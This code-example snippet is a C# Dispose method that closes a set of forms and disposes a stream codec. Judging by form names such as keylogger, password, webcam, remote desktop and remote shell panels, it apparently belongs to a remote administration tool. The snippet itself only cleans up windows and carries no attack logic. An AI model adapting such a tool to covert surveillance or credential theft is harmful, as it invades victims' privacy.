Example #1
0
        protected virtual void Dispose(bool disposing)
        {
            if (disposing)
            {
                try
                {
                    if (FrmRdp != null)
                    {
                        FrmRdp.Invoke((MethodInvoker) delegate { FrmRdp.Close(); });
                    }
                    if (FrmWebcam != null)
                    {
                        FrmWebcam.Invoke((MethodInvoker) delegate { FrmWebcam.Close(); });
                    }
                    if (FrmTm != null)
                    {
                        FrmTm.Invoke((MethodInvoker) delegate { FrmTm.Close(); });
                    }
                    if (FrmFm != null)
                    {
                        FrmFm.Invoke((MethodInvoker) delegate { FrmFm.Close(); });
                    }
                    if (FrmRe != null)
                    {
                        FrmRe.Invoke((MethodInvoker) delegate { FrmRe.Close(); });
                    }
                    if (FrmSi != null)
                    {
                        FrmSi.Invoke((MethodInvoker) delegate { FrmSi.Close(); });
                    }
                    if (FrmRs != null)
                    {
                        FrmRs.Invoke((MethodInvoker) delegate { FrmRs.Close(); });
                    }
                    if (FrmStm != null)
                    {
                        FrmStm.Invoke((MethodInvoker) delegate { FrmStm.Close(); });
                    }
                    if (FrmKl != null)
                    {
                        FrmKl.Invoke((MethodInvoker) delegate { FrmKl.Close(); });
                    }
                    if (FrmProxy != null)
                    {
                        FrmProxy.Invoke((MethodInvoker) delegate { FrmProxy.Close(); });
                    }
                    if (FrmPass != null)
                    {
                        FrmPass.Invoke((MethodInvoker) delegate { FrmPass.Close(); });
                    }
                    if (FrmCon != null)
                    {
                        FrmCon.Invoke((MethodInvoker) delegate { FrmCon.Close(); });
                    }
                    if (FrmChat != null)
                    {
                        FrmChat.Invoke((MethodInvoker) delegate { FrmChat.Close(); });
                    }
                }
                catch (InvalidOperationException)
                {
                }

                if (StreamCodec != null)
                {
                    StreamCodec.Dispose();
                }
            }
        }